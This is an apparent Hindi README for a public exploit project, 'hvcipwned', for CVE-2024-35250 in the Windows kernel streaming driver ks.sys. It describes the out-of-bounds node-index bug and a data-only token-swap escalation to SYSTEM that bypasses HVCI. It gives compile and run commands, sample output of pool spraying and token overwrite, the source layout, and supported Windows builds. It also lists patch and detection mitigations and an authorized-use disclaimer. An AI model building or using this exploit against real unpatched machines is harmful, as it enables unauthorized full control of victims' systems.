
CVE-2024-35250 यह प्रदर्शित करता है कि HVCI केवल डेटा-आधारित कर्नेल एक्सप्लॉइट्स के खिलाफ कोई बचाव नहीं है। जब तक कोई ड्राइवर बग एक आर्बिट्रेरी R/W प्रिमिटिव प्रदान करता है, तब तक टोकन स्वैप एक सार्वभौमिक SYSTEM उत्थान तकनीक बना रहता है — कोई कोड निष्पादन आवश्यक नहीं है।
विंडोज कर्नेल स्ट्रीमिंग ड्राइवर (ks.sys) में अविश्वसनीय पॉइंटर डीरेफरेंस के माध्यम से स्थानीय विशेषाधिकार वृद्धि।
डेटा-ओनली एक्सप्लॉइट — हाइपरविजर-संरक्षित कोड अखंडता (HVCI) को बायपास करता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-35250 |
| घटक | ks.sys (कर्नेल स्ट्रीमिंग) |
| बग वर्ग | अविश्वसनीय पॉइंटर डीरेफरेंस |
| प्रभाव | NT AUTHORITY\SYSTEM तक EoP |
| HVCI | बायपास किया गया — कर्नेल में कोई कोड निष्पादन नहीं |
| पैच | KB5039212 (जून 2024) |
| लक्ष्य | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler टोपोलॉजी-स्तरीय संपत्ति अनुरोधों को KspProcessPropertyNode के माध्यम से भेजता है। उपयोगकर्ता-आपूर्ति किए गए KSP_NODE संरचना से NodeId फ़ील्ड का उपयोग आंतरिक ऑटोमेशन तालिका सरणी में सीमा सत्यापन के बिना अनुक्रमणिका के रूप में किया जाता है:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- हमलावर-नियंत्रित
एक क्राफ्टेड NodeId जो वास्तविक नोड गणना से अधिक है, डीरेफरेंस को आसन्न पूल मेमोरी पर रीडायरेक्ट करता है, जिससे आउट-ऑफ-बाउंड रीड/राइट प्रिमिटिव मिलता है।
एक्सप्लॉइट विशेष रूप से कर्नेल डेटा संरचनाओं में हेरफेर करता है:
NtQuerySystemInformation के माध्यम से EPROCESS पता लीक करेंActiveProcessLinks पर चलेंकोई शेलकोड इंजेक्ट नहीं किया गया है। कोई अहस्ताक्षरित कोड पेज बनाए या निष्पादित नहीं किए गए हैं। कोई नियंत्रण-प्रवाह पॉइंटर हाईजैक नहीं किया गया है।
| सुरक्षा | स्थिति |
|---|---|
| HVCI / KMCI | बायपास किया गया |
| SMEP | ट्रिगर नहीं हुआ |
| SMAP | ट्रिगर नहीं हुआ |
| kCFG | ट्रिगर नहीं हुआ |
| CET / शैडो स्टैक | ट्रिगर नहीं हुआ |
hvcipwned.sln खोलेंCtrl+Shift+B)आउटपुट बाइनरी: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
भेद्य (अपैच्ड) सिस्टम पर एक अनप्रिविलेज्ड उपयोगकर्ता सत्र से चलाएँ। सफल होने पर एक नई cmd.exe विंडो NT AUTHORITY\SYSTEM के रूप में चलती हुई खुलेगी।
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - प्रकार, लॉग मैक्रोज, nt एपीआई टाइपडेफ्स
├── offsets.h - प्रति-बिल्ड eprocess फ़ील्ड ऑफसेट
├── device.h - ks डिवाइस एनुमरेशन
├── leak.h - कर्नेल पता लीक
├── krw.h - r/w प्रिमिटिव संदर्भ
├── token.h - टोकन स्वैप + शेल स्पॉन
└── exploit.h - शीर्ष-स्तरीय प्रवेश
├── main.c - प्रवेश बिंदु
├── device.c - setupapi डिवाइस खोलें
├── leak.c - NtQuerySystemInformation लीक
├── krw.c - भेद्यता ट्रिगर + पूल स्प्रे + r/w
├── token.c - eprocess वॉक + टोकन ओवरराइट
└── exploit.c - ऑर्केस्ट्रेशन
| OS | बिल्ड | स्थिति |
|---|---|---|
| Windows 10 20H1 | 19041 | समर्थित |
| Windows 10 20H2 | 19042 | समर्थित |
| Windows 10 21H1 | 19043 | समर्थित |
| Windows 10 21H2 | 19044 | समर्थित |
| Windows 10 22H2 | 19045 | समर्थित |
| Windows 11 21H2 | 22000 | समर्थित |
| Windows 11 22H2 | 22621 | समर्थित |
| Windows 11 23H2 | 22631 | समर्थित |
RtlGetVersion के माध्यम से रनटाइम पर ऑफसेट स्वचालित रूप से हल किए जाते हैं।
| कार्रवाई | विवरण |
|---|---|
| पैच | KB5039212 (जून 2024) या बाद का संस्करण स्थापित करें |
| पहचान | KSPROPERTY_TYPE_TOPOLOGY फ़्लैग के साथ IOCTL_KS_PROPERTY की निगरानी करें |
| EDR | EtwTi कर्नेल कॉलबैक के माध्यम से टोकन अखंडता परिवर्तनों पर अलर्ट करें |
| सख्ती | DACL के माध्यम से KS डिवाइस इंटरफेस तक उपयोगकर्ता की पहुँच प्रतिबंधित करें |
यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।